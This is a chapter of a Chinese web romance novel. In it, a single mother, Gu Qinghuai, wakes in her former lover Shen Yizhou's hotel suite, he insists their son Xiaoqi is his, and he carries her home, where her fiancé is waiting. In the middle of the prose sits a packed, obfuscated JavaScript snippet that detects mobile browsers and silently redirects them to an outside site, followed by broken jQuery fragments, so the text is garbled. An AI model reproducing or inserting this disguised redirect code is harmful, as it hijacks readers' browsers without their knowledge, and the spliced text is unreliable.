11. 11重逢

作品:《陷落春潮

    “爸爸——”


    顾清槐满身冷汗地从床上坐了起来,房间里一片昏暗,她看不清自己身处在何处,一时间也没能将梦和现实分割开来。


    她抬手,摸了摸眼角,泪水打湿了鬓角的长发。


    她掀开被子下床,脚底再次传来剧痛,但是却比昨天好多了。房间里的感应灯应声而亮,顾清槐看到了脚上包着的白色纱布。


    她一瘸一拐地走到门边打开了门,智能窗帘也在同时应声而开。窗外雨已经停了,刺目的阳光从窗帘缝隙里钻了进来,顾清槐微微眯了眯眼才适应了这突如其来的光亮。


    她推开门,发现自己还在酒店里——是昨天她来找沈屹州的那个酒店。


    “小七?”


    客厅里空荡荡的,顾清槐本能地心慌起来,她不顾脚上的伤,跌跌撞撞地向大门口跑去。


    沈屹州不会把小七带走了吧?


    顾清槐跌跌撞撞走到大门口,还没伸手开门,大门便被人从外面推开了。她脚上有伤,走的太急,还没站稳,便跌入了一个宽大又温暖的怀抱里。


    耳畔,传来了小七惊喜的声音,“妈咪,你醒啦!”


    顾清槐后知后觉地抬起头,看到了沈屹州那张俊美又冷艳的脸,他双眸漆黑,垂着眼睫看人的时候总给人一种轻蔑和嘲讽的感觉。


    顾清槐脸上表情一僵,“我,我不是故意的。”


    说着她推开沈屹州,蹲下身来摸了摸小七的头,“小七,你去哪里了?”


    小七手里拎着一个大箱子,应该是玩具,他兴高采烈地看着顾清槐,“我去楼下吃饭,老板说光盘送玩具!”


    说着献宝似的把玩具箱拿给顾清槐看,顾清槐有点无奈地皱了皱眉,“下次不要一个人乱跑了,妈妈会担心的。”


    小七想到昨天的事情,抬着头,有点疑惑地看着顾清槐,“妈咪,他说他是我爸爸,是真的么?”


    顾清槐怔了一下,抬头懊恼地看向沈屹州,沈屹州却嘴角轻勾,嘲弄地看着她。


    “别听他乱说!”顾清槐拉住小七的手,“妈咪带你回家。”


    沈屹州放下手中提着的食盒,冷淡看了顾清槐一眼,“你打算就这样回去?”


    顾清槐这才后知后觉地发现自己身上就套了件宽松的浴巾,甚至连内衣都没穿。


    顾清槐一想到可能是沈屹州给她换的衣服,便觉得脸上火烧一样,“我的衣服——”


    沈屹州漫不经心地换上拖鞋,冷声道,“扔了。”


    顾清槐叹了口气,眼下只能先叫外卖送套衣服才能离开了。


    沈屹州将食盒放在桌面上,又将手里另外一个纸盒子丢给顾清槐,她接过来打开,里面是一套女士的衣服,应该是刚才临时买的,吊牌都还没拆。


    顾清槐拿起衣服,看了沈屹州一眼,他冷淡道,“楼下随便买的。”


    她拿着衣服回到房间,等换好衣服出来,小七已经坐在地毯上开始拆玩具。沈屹州则懒洋洋地坐在小七身边的沙发上,见顾清槐换好衣服出来,父子俩同时抬头。


    小七黑溜溜的大眼睛亮了亮,“妈咪穿这个裙子真好看。”


    白色的吊带长裙,外面搭了一件米色的针织衫,不光是裙子,内裤和文胸深屹州也买了,尺码完全贴合顾清槐的身材。


    “尺码刚好。”


    深屹州目光灼灼地落在顾清槐身上。


    她耳根子微红,别开视线,刻意地让自己去忽略那种难以言喻的羞耻感,“多谢。”


    沈屹州下巴点了点桌上摆好的饭菜,“先吃饭——别等会又晕了。”


    顾清槐刚想说我不饿,肚子就传来一阵咕噜声。她都快两天没吃饭了,稍微一动便觉得低血糖,有些头晕眼花。


    其实顾清槐不知道,昨晚她昏倒后,沈屹州专门叫了医生来给她挂了瓶葡萄糖。


    她体质虚,一饿就头晕,很容易低血糖。


    就算不为了自己为了小七她也要吃饱,保持精力。


    顾清槐坐在餐桌边开始吃早饭。小七独自坐在地毯上拼积木,碰到棘手的地方,抬头看向一直玩手机的沈屹州,“沈屹州,你帮我一下。”


    也不知道是不是父子血缘的天性,小七对沈屹州毫不设防。从小到大顾清槐一直跟他强调的安全问题,到了他这全部都成了耳旁风。


    沈屹州不耐烦地皱了皱眉,但还是放下了手机,屈膝盘腿在小七身旁坐下来,然后开始和他一起拼积木。


    一大一小两个男人席地而坐,光看侧脸,小七简直就是缩小版沈屹州。顾清槐忽然觉得碗里的食物没了味道,沈屹州这么一闹,小七的身世怕是再也瞒不住了。


    她曾以为,沈屹州即便是知道了应该也不会在意。可是看着父子两人坐在一起的温馨画面,她的心仿佛是被凌迟了一般。


    小七一直渴望的父爱,她没能给他。如今沈屹州的出现却让她觉得恐慌,她怕他会把小七从她身边抢走。


    随便对付了几口,顾清槐便吃不下去了,她起身,走到小七身边,温声道,“小七,该回家了。”


    今天是周末,幼儿园不用上课。


    沈屹州闻声抬头,看向顾清槐那张清冷素雅的脸,“小七是我儿子。”


    不是询问,而是确定。顾清槐眉心紧皱,不想当着小七的面谈论这个问题。


    “沈屹州,我再次跟你强调一下,小七是六月生的,和你没关系。”


    沈屹州冷笑了一下,“是吗,那我们拭目以待。”


    小七积木拼了一半,舍不得走,顾清槐强行把积木塞进了箱子里哄他,“回家妈咪陪你一起拼。”


    小七虽然不高兴,但是又不想忤逆妈妈,只得扁着嘴答应了。


    顾清槐脚上有伤,走起路来一瘸一拐。沈屹州微蹙了下眉,大步走上前,在顾清槐毫无防备的时候从背后将她打横抱了起来。


    天旋地转间,顾清槐吓的尖叫了一下。随即下意识地搂住了男人的脖子,等稳住身形才意识到两人现在的状态有多暧昧。


    顾清槐脸颊微红,挣扎着要下来,“你放我下来。”


    沈屹州哼了一下,“你打算这样瘸着回去?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030529|194524||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我没事,不用你管。”


    沈屹州却没有给她这个机会,不顾她的反对抱着她出了酒店房间门。小七则拎着一个硕大的玩具盒子一路小跑地跟在他身后,“沈屹州,你慢点。”


    小孩子毕竟腿短,走路没大人快,手里又拿着纸盒子,一着急,便摔了一跤。


    “呜呜呜——”


    顾清槐焦急地回头去看摔倒的小七,“沈屹州,小七摔倒了。”


    沈屹州不耐烦地停下脚步,回头去看摔倒的孩子,“男子汉大丈夫,摔了一跤有什么好哭的。”


    小七闻言,好胜心起,自己拍了拍膝盖爬了起来。地上铺了厚厚的地毯,摔到了其实并不疼。


    望着小男孩眼脚睫毛上还挂着未干的泪珠,顾清槐心情复杂,沈屹州却觉得好玩,他停在原地等小七跟上来,然后放慢脚步跟他并排往电梯口走去。


    沈屹州抱着顾清槐来到地下车库,然后把人往车里一塞,随后将小七也塞了进来,最后自己才上车。


    “住哪?”


    顾清槐本不想让他送,但是估计她说了也是白说,于是只好默默道,“和平嘉园。”


    沈屹州亲自开车载他们去和平嘉园。


    车子抵达小区楼下,顾清槐推开车门准备下车。沈屹州却率先下了车,绕到后面,不由分说再次弯腰将她抱了起来。


    “我自己走就可以了.......”


    沈屹州冷睨了她一眼,低头在她耳畔,“再乱动,我不保证自己会做出什么样的事情......”


    小七跟着从车里爬了出来有点无奈地看着顾清槐,“妈咪,你的脚受伤了,就别逞强了。”


    顾清槐一窒,回头瞪了一眼小七,这臭小子人小鬼大的,有时候都不知道他是从哪里学来的这些话。


    沈屹州抱着顾清槐下车,走到单元楼下,迎面撞见了正坐在楼梯口等她回来的叶斯明。


    昨日的订婚宴以两位新人的离开而告终,周云发了好大一场脾气。原本他们就不同意儿子找这么一个带着孩子的女人,如今倒是好,在订婚宴上丢下一众亲朋跑了,这是把叶家的脸面按在地上摩擦。


    叶斯明听说孩子找到了才放下心来,回家安抚了父母,再给顾清槐打电话的时候她的手机就已经关机了。


    他不放心,只好来她家找她,可是等了一夜也没等到他们母子俩归来。


    叶斯明满眼憔悴,下巴上生出了青涩的胡渣,他怔怔看着沈屹州将顾清槐抱在怀里,她的身上还换了衣服.......


    叶斯明眸色变的深凝,顾清槐挣扎着从沈屹州身上跳下来,脚下一痛,没站稳险些摔倒。


    叶斯明连忙上前扶住她,眼底的情绪是极度的忧伤和不解,“清槐,昨晚你去哪了?”


    顾清槐看着叶斯明,欲言又止,沈屹州却在背后抱着臂,一副看好戏的样子,“不用猜了,她昨晚跟我在一起。”


    顾清槐无语地回头瞪了沈屹州一眼,沈屹州却毫不在意,继续加油添醋,“不好意思,打断了你们的订婚宴。”